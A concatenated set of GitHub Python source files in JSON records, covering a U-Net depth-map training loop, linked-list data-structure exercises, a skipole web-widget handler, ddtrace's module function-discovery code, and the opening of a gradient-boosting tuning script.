mask\r\n y = np.concatenate((y,mask),axis=3)\r\n \r\n TOTAL_NUM_SAMPLE = int(X.shape[0])\r\n TRAIN_NUM_SAMPLE = int(X.shape[0] * 0.7)\r\n VALIDATE_NUM_SAMPLE = int(X.shape[0] * 0.15)\r\n TEST_NUM_SAMPLE = TOTAL_NUM_SAMPLE - TRAIN_NUM_SAMPLE - VALIDATE_NUM_SAMPLE\r\n print(' Total number of samples:', TOTAL_NUM_SAMPLE,\r\n '\\n Number of training samples', TRAIN_NUM_SAMPLE,\r\n '\\n Number of validating samples', VALIDATE_NUM_SAMPLE,\r\n '\\n Number of testing samples', TEST_NUM_SAMPLE)\r\n \r\n # randomly split the loaded dataset to training data and testing data\r\n train_selected = random.sample(range(TOTAL_NUM_SAMPLE),TRAIN_NUM_SAMPLE)\r\n not_train_selected = [i for i in range(TOTAL_NUM_SAMPLE) if i not in train_selected]\r\n validate_selected = random.sample(not_train_selected, VALIDATE_NUM_SAMPLE)\r\n test_selected = [i for i in not_train_selected if i not in validate_selected]\r\n \r\n X_train = X[train_selected]\r\n y_train = y[train_selected]\r\n X_validate = X[validate_selected]\r\n y_validate = y[validate_selected]\r\n X_test = X[test_selected]\r\n y_test = y[test_selected]\r\n #X_test = np.delete(X,train_selected,0)\r\n #y_test = np.delete(y,train_selected,0)\r\n #image_idx_test = np.delete(np.array(image_idx_lst),train_selected,0)\r\n image_idx_validate = np.array(image_idx_lst)[validate_selected]\r\n image_idx_test = np.array(image_idx_lst)[test_selected]\r\n del X,y\r\n \r\n # load data in numpy to tf dataset with batch as their first dimension\r\n train_ds = tf.data.Dataset.from_tensor_slices(\r\n (X_train, y_train)\r\n ).shuffle(TRAIN_NUM_SAMPLE,reshuffle_each_iteration=True).batch(BATCH_SIZE)\r\n validate_ds = tf.data.Dataset.from_tensor_slices(\r\n (X_validate, y_validate)\r\n ).batch(BATCH_SIZE)\r\n test_ds = tf.data.Dataset.from_tensor_slices(\r\n (X_test, y_test)\r\n ).batch(BATCH_SIZE)\r\n \r\n del X_train,y_train\r\n del X_test, y_test\r\n gc.collect()\r\n \r\n # save test data for evaluation\r\n #with open('../data/tmp/digital_test.pickle', 'wb') as f:\r\n # pickle.dump((test_ds,image_idx_test),f, protocol=pickle.HIGHEST_PROTOCOL)\r\n \r\n return train_ds, validate_ds, test_ds, image_idx_validate, image_idx_test\r\n\r\n\"\"\"\r\nLoad data from SSFPP for neural network training and testing.\r\n(SFFPP: Single-Shot 3D Shape Reconstruction Data Sets. Available online: https://figshare.com/articles/Single-\r\nShot_Fringe_Projection_Dataset/7636697)\r\nargs:\r\n in_path: str\r\n path of the dataset, e.g. in_path = '../data/objects_cad_animal_sun_081820/'\r\nreturn:\r\n train_ds: tf dataset with batch\r\n train_ds = (X_train, y_train)\r\n X_train: [BATCH, INPUT HEIGHT, INPUT WIDTH, 1]\r\n y_train: [BATCH, OUTPUT HEIGHT, OUTPUT WIDTH, 2]\r\n y_train[:,:,:,0] is the ground truth of depth (z).\r\n y_train[:,:,:,1] is the mask of background. 'Mask == 0' indicates background\r\n Note train_ds will be shuffled every training epoch.\r\n test_ds: tf dataset with batch\r\n test_ds = (X_test, y_test)\r\n X_test: [BATCH, INPUT HEIGHT, INPUT WIDTH, 1]\r\n y_test: [BATCH, OUTPUT HEIGHT, OUTPUT WIDTH, 2]\r\n y_test[:,:,:,0] is the ground truth of depth (z).\r\n y_test[:,:,:,1] is the mask of background. 'Mask == 0' indicates background\r\n image_idx_test: 1D numpy array\r\n Image index/name of the testing data, which could be used to \r\n index the depth plot.\r\n\"\"\"\r\ndef load_SSFPP_data(in_path):\r\n X_train = np.load(in_path+'X_train_1.npy').astype('float32')\r\n y_train = np.load(in_path+'Z_train.npy').astype('float32')\r\n X_test = np.load(in_path+'X_test_1.npy').astype('float32')\r\n y_test = np.load(in_path+'Z_test.npy').astype('float32')\r\n mask_train = (y_train > 0) * 1\r\n mask_test = (y_test > 0) * 1\r\n y_train = np.concatenate((y_train, mask_train), axis = 3).astype('float32')\r\n y_test = np.concatenate((y_test, mask_test), axis = 3).astype('float32')\r\n\r\n TRAIN_NUM_SAMPLE = X_train.shape[0]\r\n TEST_NUM_SAMPLE = int(X_test.shape[0] * 0.5)\r\n VALIDATE_NUM_SAMPLE = X_test.shape[0] - TEST_NUM_SAMPLE\r\n X_validate = X_test[0:VALIDATE_NUM_SAMPLE]\r\n y_validate = y_test[0:VALIDATE_NUM_SAMPLE]\r\n X_test = X_test[VALIDATE_NUM_SAMPLE:]\r\n y_test = y_test[VALIDATE_NUM_SAMPLE:]\r\n image_idx_test = range(VALIDATE_NUM_SAMPLE, X_test.shape[0])\r\n \r\n train_ds = tf.data.Dataset.from_tensor_slices(\r\n (X_train, y_train)\r\n ).shuffle(TRAIN_NUM_SAMPLE,reshuffle_each_iteration=True).batch(BATCH_SIZE)\r\n validate_ds = tf.data.Dataset.from_tensor_slices(\r\n (X_validate, y_validate)\r\n ).batch(BATCH_SIZE)\r\n test_ds = tf.data.Dataset.from_tensor_slices(\r\n (X_test, y_test)\r\n ).batch(BATCH_SIZE)\r\n del X_train,y_train\r\n del X_test, y_test\r\n gc.collect()\r\n return train_ds, validate_ds, test_ds, image_idx_test\r\n\r\n\"\"\"\r\nMake predicted depth plot for digital twin testing data and restore them in the out_path.\r\nargs:\r\n in_path: str\r\n path of the loaded (testing) data\r\n out_path: str\r\n output path of the plots\r\n image_idx_test: 1D numpy array\r\n Image index/name of the testing data, which could be used to \r\n index the depth plot.\r\n test_ds: tf Dataset\r\n test data with batch.\r\n test_ds = (X_test, y_test)\r\n X_test: [BATCH, INPUT HEIGHT, INPUT WIDTH, 1]\r\n y_test: [BATCH, OUTPUT HEIGHT, OUTPUT WIDTH, 2]\r\n y_test[:,:,:,0] is the ground truth of depth (z).\r\n y_test[:,:,:,1] is the mask of background. 'Mask == 0' indicates background\r\n epoch: int32\r\n epoch of training\r\n model: tf Model\r\n Neural network model to make prediction of depth map.\r\n\"\"\"\r\ndef plot_digital_test_output(in_path, out_path, image_idx_test, test_ds, model, epoch):\r\n if not os.path.exists(out_path+str(epoch)):\r\n os.mkdir(out_path+str(epoch))\r\n test_ds_b1 = test_ds.unbatch().batch(1)\r\n for (x, y),image_idx0 in zip(test_ds_b1,image_idx_test):\r\n dst = out_path+str(epoch)+'/'+str(image_idx0)\r\n if not os.path.exists(dst):\r\n shutil.copytree(in_path+str(image_idx0),dst)\r\n pred_test = model(x,training=False)\r\n image0 = x[0,:,:,0].numpy()\r\n truth0 = y[0,:,:,0].numpy()\r\n mask0 = y[0,:,:,1].numpy()\r\n pred0 = pred_test[0,:,:,0].numpy()\r\n np.savetxt(dst+'/z_prediction.csv',pred0,delimiter=\",\")\r\n pred0[~mask0.astype(bool)] = np.nan\r\n truth0[~mask0.astype(bool)] = np.nan\r\n max_v = max(np.nanmax(truth0), np.nanmax(pred0))\r\n min_v = min(np.nanmin(truth0), np.nanmin(pred0))\r\n \r\n plt.imshow(image0);plt.colorbar();plt.title(\"input\")\r\n plt.savefig(dst+'/input.png');plt.close()\r\n plt.imshow(truth0,vmax=max_v,vmin=min_v);plt.colorbar();plt.title(\"truth\")\r\n plt.savefig(dst+'/truth.png');plt.close()\r\n plt.imshow(pred0,vmax=max_v,vmin=min_v);plt.colorbar();plt.title(\"prediction\")\r\n plt.savefig(dst+'/prediction.png');plt.close()\r\n truth0 = truth0[~np.isnan(truth0)]\r\n pred0 = pred0[~np.isnan(pred0)]\r\n plt.hist(truth0.flatten(),30);plt.title(\"truth\");plt.xlim([min_v,max_v])\r\n plt.savefig(dst+'/truth_hist.png');plt.close()\r\n plt.hist(pred0.flatten(), 30);plt.title(\"prediction\");plt.xlim([min_v,max_v])\r\n plt.savefig(dst+'/prediction_hist.png');plt.close()\r\n return\r\n\r\n\"\"\"\r\nMake predicted depth plot for SFFPP testing data and restore them in the out_path.\r\n(SFFPP: Single-Shot 3D Shape Reconstruction Data Sets. Available online: \r\n https://figshare.com/articles/Single-Shot_Fringe_Projection_Dataset/7636697)\r\nargs:\r\n out_path: str\r\n output path of the plots\r\n image_idx_test: 1D numpy array\r\n Image index/name of the testing data, which could be used to \r\n index the depth plot.\r\n test_ds: tf Dataset\r\n test data with batch.\r\n test_ds = (X_test, y_test)\r\n X_test: [BATCH, INPUT HEIGHT, INPUT WIDTH, 1]\r\n y_test: [BATCH, OUTPUT HEIGHT, OUTPUT WIDTH, 2]\r\n y_test[:,:,:,0] is the ground truth of depth (z).\r\n y_test[:,:,:,1] is the mask of background. 'Mask == 0' indicates background\r\n epoch: int32\r\n epoch of training\r\n model: tf Model\r\n Neural network model to make prediction of depth map.\r\n\"\"\"\r\ndef plot_SSFPP_test_output(out_path, test_ds, image_idx_test, model, epoch):\r\n if not os.path.exists(out_path+str(epoch)):\r\n os.mkdir(out_path+str(epoch))\r\n test_ds_b1 = test_ds.unbatch().batch(1)\r\n for (x, y),image_idx0 in zip(test_ds_b1,image_idx_test):\r\n dst = out_path+str(epoch)+'/'+str(image_idx0)\r\n if not os.path.exists(dst):\r\n os.mkdir(out_path+str(epoch)+'/'+str(image_idx0))\r\n pred_test = model(x,training=False)\r\n image0 = x[0,:,:,0].numpy()\r\n truth0 = y[0,:,:,0].numpy()\r\n mask0 = y[0,:,:,1].numpy()\r\n pred0 = pred_test[0,:,:,0].numpy()\r\n np.savetxt(dst+'/z_prediction.csv',pred0,delimiter=\",\")\r\n np.savetxt(dst+'/z_truth.csv', truth0,delimiter=\",\")\r\n np.savetxt(dst+'/mask.csv',mask0,delimiter=\",\")\r\n pred0[~mask0.astype(bool)] = np.nan\r\n truth0[~mask0.astype(bool)] = np.nan\r\n max_v = max(np.nanmax(truth0), np.nanmax(pred0))\r\n min_v = min(np.nanmin(truth0), np.nanmin(pred0))\r\n \r\n plt.imshow(image0);plt.colorbar();plt.title(\"input\")\r\n plt.savefig(dst+'/input.png');plt.close()\r\n plt.imshow(truth0,vmax=max_v,vmin=min_v);plt.colorbar();plt.title(\"truth\")\r\n plt.savefig(dst+'/truth.png');plt.close()\r\n plt.imshow(pred0,vmax=max_v,vmin=min_v);plt.colorbar();plt.title(\"prediction\")\r\n plt.savefig(dst+'/prediction.png');plt.close()\r\n truth0 = truth0[~np.isnan(truth0)]\r\n pred0 = pred0[~np.isnan(pred0)]\r\n plt.hist(truth0.flatten(),30);plt.title(\"truth\");plt.xlim([min_v,max_v])\r\n plt.savefig(dst+'/truth_hist.png');plt.close()\r\n plt.hist(pred0.flatten(), 30);plt.title(\"prediction\");plt.xlim([min_v,max_v])\r\n plt.savefig(dst+'/prediction_hist.png');plt.close()\r\n\r\nif __name__ == \"__main__\":\r\n # load data\r\n if not 'SS_FPP_CNN' in in_path:\r\n train_ds, validate_ds, test_ds, image_idx_validate, image_idx_test = load_digital_data(in_path)\r\n else:\r\n train_ds, validate_ds, test_ds, image_idx_test = load_SSFPP_data(in_path)\r\n \r\n # create an instance of neural network model\r\n unet = Unet()\r\n \r\n # Create checkpoint for the training of the neural network model.\r\n # Neural network models including trained parameters will be stored \r\n # in the checkpoint_dir.\r\n if not os.path.exists(checkpoint_dir):\r\n os.mkdir(checkpoint_dir)\r\n checkpoint_prefix = os.path.join(checkpoint_dir, \"ckpt\")\r\n checkpoint = tf.train.Checkpoint(optimizer=optimizer,\r\n model=unet)\r\n \r\n # create a csv file to record training loss\r\n if not os.path.exists(out_path):\r\n os.mkdir(out_path)\r\n with open(out_path+'training_loss.csv', 'w') as csv_file:\r\n csv_writer = csv.writer(csv_file, delimiter=',')\r\n csv_writer.writerow(['epoch', 'train_loss', 'vali_loss',\r\n 'time_used', 'learning_rate','iteration'])\r\n \r\n # start training from here\r\n for epoch in range(NUM_EPOCH):\r\n start = time.time()\r\n train_loss = []\r\n for x, y in train_ds:\r\n current_train_loss = train(unet, x, y, optimizer, loss)\r\n train_loss.append(current_train_loss)\r\n val_loss = []\r\n for x, y in validate_ds:\r\n pred_val = unet(x,training=False)\r\n current_val_loss = loss(y, pred_val)\r\n val_loss.append(current_val_loss)\r\n end = time.time()\r\n template = 'Epoch {}, Train Loss: {:.6f}, Vali Loss: {:.6f}, Time used: {}s, Learning rate: {:.6f}, iteration: {}'\r\n print(template.format(epoch + 1,\r\n np.mean(train_loss),\r\n np.mean(val_loss),\r\n np.round(end-start),\r\n optimizer._decayed_lr(var_dtype=tf.float32),\r\n optimizer.iterations.numpy()))\r\n with open(out_path+'training_loss.csv', 'a') as csv_file:\r\n csv_writer = csv.writer(csv_file, delimiter=',')\r\n csv_writer.writerow([epoch + 1, np.mean(train_loss),\r\n np.mean(val_loss),\r\n np.round(end-start),\r\n optimizer._decayed_lr(var_dtype=tf.float32).numpy(),\r\n optimizer.iterations.numpy()])\r\n if epoch % 50 == 0:\r\n checkpoint.save(file_prefix = checkpoint_prefix)\r\n if epoch % 50 == 0 and not epoch == 0:\r\n if not 'SS_FPP_CNN' in in_path:\r\n plot_digital_test_output(in_path, out_path, image_idx_validate, validate_ds, unet, epoch)\r\n \r\n else:\r\n plot_SSFPP_test_output(out_path, test_ds, image_idx_test, unet, epoch)\r\n \r\n test_loss = []\r\n for x, y in test_ds:\r\n pred_test = unet(x,training=False)\r\n current_test_loss = loss(y, pred_test)\r\n test_loss.append(current_test_loss)\r\n print('test loss:', np.mean(test_loss))\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ","repo_name":"wangsd94/FPP-digital-twin-deep-learning","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":16834,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"19"} +{"seq_id":"1057504010","text":"'''\n linked list is a data structure in which the objects\n are arranged in a linear order\n\n different than an array bc the order is determined by\n the pointers in each obj rather than the array indices\n\n supports search, insert, delete, maximum, minimum,\n successor, and predecessor operations on dynamic sets\n\n\n each element of a singly linked list is an object\n with an attribute key and a pointer attribute next\n\n each element of a double linked list is an object\n with an attribute key and two pointers next and prev\n objects may contain satellite data\n\n given x, x.next points to successor and x.prev points to predecessor\n if x.prev == NIL, x is the head\n if x.next == NIL, x is the tail\n\n L.head points to the first element of the list\n if L.head == NIL, the list is empty\n\n many forms of a linked list\n singly linked or doubly linked\n sorted or not\n sorted --> keys sorted in linear order\n circular or not\n circular --> prev pointer of head points to tail\n and next pointer of tail points to head\n\n'''\n\nfrom dataclasses import dataclass\n\n@dataclass\nclass Object:\n def __init__(self, k, next = None, prev = None):\n self.key = k\n self.next = next\n self.prev = prev\n\n key: int\n next: 'Object'\n prev: 'Object'\n\n@dataclass\nclass List:\n nil: Object\n\n'''\n using sentinels\n we could write cleaner code if we don't have to\n worry about the boundary conditions at head and tail\n\n use a sentinel, a dummy node, between the head and tail\n of the list, making it a circular linked list\n'''\n\n'''\n searching a linked list\n O(n) time to find key k\n'''\ndef search(L : List, k: int):\n x = L.nil.next\n while x != L.nil and x.key != k:\n x = x.next\n return x\n\n'''\n inserting into a linked list\n given Object x, insert splices x onto the front of the linked list\n O(1) time\n'''\ndef insert(L : list, x : Object):\n x.prev = L.nil\n x.next = L.nil.next\n\n L.nil.next.prev = x\n L.nil.next = x\n\n'''\n deleting from a linked list\n delete removed element x from the linked list\n must be given pointer to x --> splices x out of the list\n\n if we want to delete an elem w/ a given key, call search first\n to get the pointer to the elem\n'''\ndef delete(x : Object):\n x.prev.next = x.next\n x.next.prev = x.prev\n\n\n'''\nExercises free response\n\n10-2-1\n We can implement the dynamic-set operation INSERT on a singly linked list in O(1). Given an element x, we can perform the insert\n by having the x.next point to the list's current head and changing the head to point to x.\n\n For the dynamic-set operation DELETE on a singly linked list, if we are only given the element x, we can't implement it in O(1) time.\n We would have to search for the predecessor of x in the list to delete x, which will take O(n) time. If we are provided the,\n predecessor, we can perform the DELETE in O(1) time by making the predecessor point to x.next.\n\n'''\n\n# 10-2-2, implement a stack using a SINGLY linked list\n# operations PUSH and POP should take O(1)\nclass Stack: # won't use .prev pointer of Object\n def __init__(self):\n self.L = List(Object(None))\n\n def push(self, x : Object):\n x.next = self.L.nil.next\n self.L.nil.next = x\n\n def pop(self):\n if self.L.nil.next == None:\n print(\"ERROR UNDERFLOW\")\n return\n\n x = self.L.nil.next\n self.L.nil.next = x.next\n\n return x.key\n# 10-2-3, implement a queue using a SINGLY linked list\n# operations ENQUEUE and DELETE should take O(1)\nclass Queue:\n def __init__(self):\n self.L = List(Object(None))\n self.tail = self.L.nil\n \n def enqueue(self, x : Object):\n self.tail.next = x\n self.tail = x\n\n def dequeue(self):\n if self.tail == self.L.nil:\n print(\"ERROR UNDERFLOW\")\n return\n\n if self.tail == self.L.nil.next:\n self.tail = self.L.nil\n \n x = self.L.nil.next\n\n if x != None:\n self.L.nil.next = x.next\n \n return x.key\n \n# testing stack and queue\nstk = Stack()\nq = Queue()\n\nstk.push(Object(10))\nstk.push(Object(32))\nprint(stk.pop()) # print 32\nprint(stk.pop()) # print 10\nprint(stk.pop()) # exp error\nstk.push(Object(40))\nstk.push(Object(44))\nprint(stk.pop())\nprint(stk.pop())\n\nq.enqueue(Object(20))\nprint(q.dequeue()) # print 20\nq.enqueue(Object(30))\nq.enqueue(Object(40))\nprint(q.dequeue()) # print 30\nprint(q.dequeue()) # print 40\nprint(q.dequeue()) # exp error\nq.enqueue(Object(32))\nq.enqueue(Object(40))\nprint(q.dequeue())\n\n\n# 10-2-4\n# eliminate check for x != L.nil in each iteration\ndef search(L : List, k: int):\n L.nil.key = k\n\n x = L.nil.next\n while x.key != k:\n x = x.next\n \n L.nil.key = None\n return x # returns sentinel if k is not found\n\n# 10-2-5\n# implement dict operations insert, delete, and search\n# using singly linked, circular lists what are the running times?\n'''\n the implementation will be similar\n\n insert should be O(1) because you can just insert it at the head of the list\n\n delete should be O(n) because you need to search for the predecessor of the given element x\n to perform a delete (we don't have access to x.prev bc single list)\n\n search should be O(n) as well because you still can iterate through the list using x.next\n'''\n\n# 10-2-6\n'''\n take S1 and S2 as linked lists\n union S1 and S2 by connecting tail of S1 to head of S2\n'''\n\n# 10-2-7\n# give an O(n) time nonrecursive procedure that reverses a singly linked list of n elements\n# procedure shouldn't use more tha nconstant storage beyond that needed for the list itself\ndef reverse(L : List): # don't use .prev\n prev = L.nil.next\n \n if prev == None:\n return\n\n curr = prev.next\n prev.next = None\n\n while curr != None:\n temp = curr.next\n curr.next = prev\n\n prev = curr\n curr = temp\n \n L.nil.next = prev\n\n","repo_name":"zachtango/ds-alg-hw","sub_path":"linked-lists/linkedLists.py","file_name":"linkedLists.py","file_ext":"py","file_size_in_byte":6062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"18046338887","text":"import os\n\nfrom skipole import FailPage, GoTo, ValidateError, ServerError, ServeFile, PageData, SectionData\n\n\ndef index(skicall):\n \"Called by a SubmitData responder, and sets up the page\"\n\n # the title and widget decription is in section 'header' which contains a\n # HeadText widget with name 'title' and a TextBlockPara widget with name 'widgetdesc'\n # It also has a ButtonLink2 widget with name 'tomodule'\n headersection = SectionData('header')\n headersection['title', 'large_text'] = 'SubmitTextInput1'\n # A textblock contains the widget description\n ref = \"widgets.inputtext.SubmitTextInput1\"\n headersection['widgetdesc','textblock_ref'] = ref\n headersection['widgetdesc','text_refnotfound'] = f'Textblock reference {ref} not found'\n # link to this widgets module page\n headersection['tomodule','button_text'] = \"Module: inputtext\"\n headersection['tomodule','link_ident'] = skicall.makepath('inputtext')\n skicall.update(headersection)\n\n # this code file contents is placed in section 'codefile' which contains a\n # PreText widget with name 'pretext'\n codesection = SectionData('codefile')\n code = os.path.realpath(__file__)\n with open(code) as f:\n codesection['pretext', 'pre_text'] = f.read()\n skicall.update(codesection)\n\n # populate the widget hidden fields\n pd = PageData()\n pd['submittextinput1', 'hidden_field1'] = \"AAA\"\n pd['submittextinput1', 'hidden_field2'] = \"BBB\"\n pd['submittextinput1', 'hidden_field3'] = \"CCC\"\n pd['submittextinput1', 'hidden_field4'] = \"DDD\"\n skicall.update(pd)\n\n\ndef respond(skicall):\n \"\"\"Responds to submission from submittextinput1.\n The AllowStore responder calling this function has general_json\n as its target which updates the page fields\"\"\"\n\n if ('submittextinput1', 'input_text') not in skicall.call_data:\n raise FailPage(message=\"No submission received\")\n\n # populate the result widget, and set input field to green\n # and clear any errors currently being displayed\n pd = PageData()\n pd.ClearAllErrors = True\n pd['submittextinput1', 'set_input_accepted'] = True\n pd['result', 'para_text'] = f\"Text received: {skicall.call_data['submittextinput1', 'input_text']}\"\n skicall.update(pd)\n\n\ndef fail(skicall):\n \"\"\"This is called by a SubmitData responder, which is the error responder\n called by the validator if a failure occurs.\n The target is general_json, this adds a red background to the input field\"\"\"\n pd = PageData()\n pd['submittextinput1', 'set_input_errored'] = True\n pd['result', 'para_text'] = \"Invalid submission!\"\n skicall.update(pd)\n","repo_name":"bernie-skipole/skiwidgets","sub_path":"inputtext/submittextinput1.py","file_name":"submittextinput1.py","file_ext":"py","file_size_in_byte":2650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"10894067361","text":"from collections import defaultdict\nfrom collections import deque\n\nfrom six import PY2\n\nfrom ddtrace.vendor.wrapt.wrappers import FunctionWrapper\n\n\ntry:\n from collections.abc import Iterator\nexcept ImportError:\n from collections import Iterator # type: ignore[attr-defined,no-redef]\n\ntry:\n from typing import Protocol\nexcept ImportError:\n from typing_extensions import Protocol # type: ignore[misc]\n\nfrom os.path import abspath\nfrom types import FunctionType\nfrom types import ModuleType\nfrom typing import Any\nfrom typing import Dict\nfrom typing import List\nfrom typing import Optional\nfrom typing import Tuple\nfrom typing import Type\nfrom typing import Union\nfrom typing import cast\n\nfrom ddtrace.internal.compat import PYTHON_VERSION_INFO as PY\nfrom ddtrace.internal.logger import get_logger\nfrom ddtrace.internal.module import origin\nfrom ddtrace.internal.safety import _isinstance\nfrom ddtrace.internal.utils.inspection import linenos\n\n\nlog = get_logger(__name__)\n\nFunctionContainerType = Union[type, property, classmethod, staticmethod, Tuple, ModuleType]\n\nContainerKey = Union[str, int, Type[staticmethod], Type[classmethod]]\n\nCONTAINER_TYPES = (type, property, classmethod, staticmethod)\n\nif PY < (3, 7):\n # DEV: Prior to Python 3.7 the ``cell_content`` attribute of ``Cell``\n # objects can only be mutated with the C API.\n import ctypes\n\n PyCell_Set = ctypes.pythonapi.PyCell_Set\n PyCell_Set.argtypes = (ctypes.py_object, ctypes.py_object)\n PyCell_Set.restype = ctypes.c_int\n\n set_cell_contents = PyCell_Set\nelse:\n\n def set_cell_contents(cell, contents): # type: ignore[misc]\n cell.cell_contents = contents\n\n\nclass FullyNamed(Protocol):\n \"\"\"A fully named object.\"\"\"\n\n __name__ = None # type: Optional[str]\n __fullname__ = None # type: Optional[str]\n\n\nclass FullyNamedFunction(FullyNamed):\n \"\"\"A fully named function object.\"\"\"\n\n def __call__(self, *args, **kwargs):\n pass\n\n\nclass ContainerIterator(Iterator, FullyNamedFunction):\n \"\"\"Wrapper around different types of function containers.\n\n A container comes with an origin, i.e. a parent container and a position\n within it in the form of a key.\n \"\"\"\n\n def __init__(\n self,\n container, # type: FunctionContainerType\n origin=None, # type: Optional[Union[Tuple[ContainerIterator, ContainerKey], Tuple[FullyNamedFunction, str]]]\n ):\n # type: (...) -> None\n if isinstance(container, (type, ModuleType)):\n self._iter = iter(container.__dict__.items())\n self.__name__ = container.__name__\n\n elif isinstance(container, tuple):\n self._iter = iter(enumerate(_.cell_contents for _ in container)) # type: ignore[arg-type]\n self.__name__ = \"\"\n\n elif isinstance(container, property):\n self._iter = iter(\n (m, getattr(container, a)) for m, a in {(\"getter\", \"fget\"), (\"setter\", \"fset\"), (\"deleter\", \"fdel\")}\n )\n assert container.fget is not None\n self.__name__ = container.fget.__name__\n\n elif isinstance(container, (classmethod, staticmethod)):\n self._iter = iter([(type(container), container.__func__)]) # type: ignore[list-item]\n self.__name__ = None\n\n else:\n raise TypeError(\"Unsupported container type: %s\", type(container))\n\n self._container = container\n\n if origin is not None and origin[0].__fullname__ is not None:\n origin_fullname = origin[0].__fullname__\n self.__fullname__ = \".\".join((origin_fullname, self.__name__)) if self.__name__ else origin_fullname\n else:\n self.__fullname__ = self.__name__\n\n def __iter__(self):\n # type: () -> Iterator[Tuple[ContainerKey, Any]]\n return self._iter\n\n def __next__(self):\n # type: () -> Tuple[ContainerKey, Any]\n return next(self._iter)\n\n next = __next__\n\n\nUnboundMethodType = type(ContainerIterator.__init__) if PY2 else None\n\n\ndef _collect_functions(module):\n # type: (ModuleType) -> Dict[str, FullyNamedFunction]\n \"\"\"Collect functions from a given module.\n\n All the collected functions are augmented with a ``__fullname__`` attribute\n to disambiguate the same functions assigned to different names.\n \"\"\"\n assert isinstance(module, ModuleType)\n\n path = origin(module)\n containers = deque([ContainerIterator(module)])\n functions = {}\n seen_containers = set()\n seen_functions = set()\n\n while containers:\n c = containers.pop()\n\n if id(c._container) in seen_containers:\n continue\n seen_containers.add(id(c._container))\n\n for k, o in c:\n if PY2 and _isinstance(o, UnboundMethodType):\n o = o.__func__\n\n code = getattr(o, \"__code__\", None) if _isinstance(o, (FunctionType, FunctionWrapper)) else None\n if code is not None and abspath(code.co_filename) == path:\n if o not in seen_functions:\n seen_functions.add(o)\n o = cast(FullyNamedFunction, o)\n o.__fullname__ = \".\".join((c.__fullname__, o.__name__)) if c.__fullname__ else o.__name__\n\n for name in (k, o.__name__) if isinstance(k, str) else (o.__name__,):\n fullname = \".\".join((c.__fullname__, name)) if c.__fullname__ else name\n functions[fullname] = o\n\n try:\n if o.__closure__:\n containers.append(ContainerIterator(o.__closure__, origin=(o, \"\")))\n except AttributeError:\n pass\n\n elif _isinstance(o, CONTAINER_TYPES):\n if _isinstance(o, property) and not isinstance(o.fget, FunctionType):\n continue\n containers.append(ContainerIterator(o, origin=(c, k)))\n\n return functions\n\n\nclass FunctionDiscovery(defaultdict):\n \"\"\"Discover all function objects in a module.\n\n The discovered functions can be retrieved by line number or by their\n qualified name. In principle one wants to create a function discovery\n object per module and then cache the information. For this reason,\n instances of this class should be obtained with the ``from_module`` class\n method. This builds the discovery object and caches the information on the\n module object itself.\n \"\"\"\n\n def __init__(self, module):\n # type: (ModuleType) -> None\n super(FunctionDiscovery, self).__init__(list)\n self._module = module\n\n functions = _collect_functions(module)\n seen_functions = set()\n self._fullname_index = {}\n\n for fname, function in functions.items():\n if function not in seen_functions:\n for lineno in linenos(cast(FunctionType, function)):\n self[lineno].append(function)\n self._fullname_index[fname] = function\n seen_functions.add(function)\n\n def at_line(self, line):\n # type: (int) -> List[FullyNamedFunction]\n \"\"\"Get the functions at the given line.\n\n Note that, in general, there can be multiple copies of the same\n functions. This can happen as a result, e.g., of using decorators.\n \"\"\"\n return self[line]\n\n def by_name(self, qualname):\n # type: (str) -> FullyNamedFunction\n \"\"\"Get the function by its qualified name.\"\"\"\n fullname = \".\".join((self._module.__name__, qualname))\n try:\n return self._fullname_index[fullname]\n except KeyError:\n raise ValueError(\"Function '%s' not found\" % fullname)\n\n @classmethod\n def from_module(cls, module):\n # type: (ModuleType) -> FunctionDiscovery\n \"\"\"Return a function discovery object from the given module.\n\n If this is called on a module for the first time, it caches the\n information on the module object itself. Subsequent calls will\n return the cached information.\n \"\"\"\n # Cache the function tree on the module\n try:\n return module.__function_discovery__\n except AttributeError:\n fd = module.__function_discovery__ = cls(module) # type: ignore[attr-defined]\n return fd\n","repo_name":"Kyle-Verhoog/dd-trace-py-test","sub_path":"ddtrace/debugging/_function/discovery.py","file_name":"discovery.py","file_ext":"py","file_size_in_byte":8278,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"40154835570","text":"import numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nfrom sklearn.model_selection import train_test_split, KFold, RepeatedKFold, GridSearchCV\nfrom sklearn.datasets import load_boston, load_diabetes, make_regression\nfrom sklearn.metrics import mean_absolute_error as mae_score\nfrom sklearn.experimental import enable_hist_gradient_boosting\nfrom sklearn.ensemble import HistGradientBoostingRegressor as SkBoosting\nfrom catboost import Pool, CatBoostRegressor\nimport traceback\nimport os, sys\nimport time\nimport json\n\n# as the module is created in the upper directory\nsys.path.append('..') \nimport regbm\n\n\ndef split_options(model_options):\n # splits model options to the ctor and fit options (for regbm model)\n ctor_keys = ['min_bins', 'max_bins', 'patience',\n 'no_early_stopping', 'thread_cnt']\n fit_keys = ['tree_count', 'tree_depth',\n 'feature_fold_size', 'learning_rate',\n 'early_stopping_delta', 'batch_part',\n 'random_state', 'random_batches',\n 'regularization_param', 'random_hist_thresholds',\n 'remove_regularization_later',\n 'spoil_split_scores']\n ctor_options = {}\n fit_options = {}\n for key in model_options.keys():\n if key in ctor_keys:\n ctor_options[key] = model_options[key]\n elif key in fit_keys:\n fit_options[key] = model_options[key]\n return ctor_options, fit_options\n\n\ndef get_fit_steps(options_grid):\n # for KFold CV\n return int(np.prod(np.array([len(param_list) for param_list in options_grid.values()])))\n\n\ndef tune_regbm(x_tr_val, y_tr_val, options_grid, random_state=12):\n keys_list = list(options_grid.keys())\n options_count = len(keys_list)\n cur_idx_each_option = [0] * options_count\n cur_prop_to_change = 0\n # the dictionary is the seed for the data frame\n # init the dictionary\n tuning_df = { keys_list[i]: [] for i in range(options_count) }\n tuning_df['MAE'] = []\n tuning_df['time'] = []\n cv_fit_number = get_fit_steps(options_grid)\n print(f\"The number of iterations to tune JIT trees model: {cv_fit_number}\")\n split_cnt_limit = 5 # K < 5 (in K Fold) => #valid < 0.2 #tr_val\n repeats_cnt = cv_fit_number // split_cnt_limit + 1 # repeats * splits >= cv_fit_number\n kf_cv = 